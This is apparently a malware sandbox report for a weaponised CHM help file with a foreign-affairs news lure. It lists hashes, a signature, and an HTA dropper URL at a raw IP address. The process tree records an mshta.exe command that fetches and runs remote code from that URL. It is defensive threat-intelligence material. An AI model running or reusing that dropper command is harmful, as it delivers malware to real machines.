Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
0s -
max time network
142s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
-
submitted
26/12/2023, 10:50
General
-
Target
News about Foreign affairs, The High North and Ukraine.chm
-
Size
12KB
-
MD5
6f57f0fe127adac28241787263438e50
-
SHA1
433b7008a3c00c41634b20c33da85b519aa58794
-
SHA256
4f38f5347307c437d1462cdf5715b7692c54e8a1964193c4b4e079e8b25daf1e
-
SHA512
963acc0ed2bc6bf028898680cafd1f5cb3b17cd780ff62a470fc23964c67ec8505b3049a9e620c11c9c606a31c9cbe518dbbc3b26e829b99b7fbe336e2dbb93a
-
SSDEEP
96:COwCSVgaOJOzkZhd1t0lFZHDSxWqzlkJchb0GlrJ/:COwCeO+kZhdOPHoRBE4j5J/
Score
10/10
Malware Config
Extracted
Language
hta
Source
URLs
hta.dropper
http://141.105.65.165/data/8.html
Signatures
-
Suspicious use of SetWindowsHookEx 2 IoCs
Processes
-
C:\Windows\hh.exe"C:\Windows\hh.exe" "C:\Users\Admin\AppData\Local\Temp\News about Foreign affairs, The High North and Ukraine.chm"1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" http://141.105.65.165/data/8.html ,2⤵
-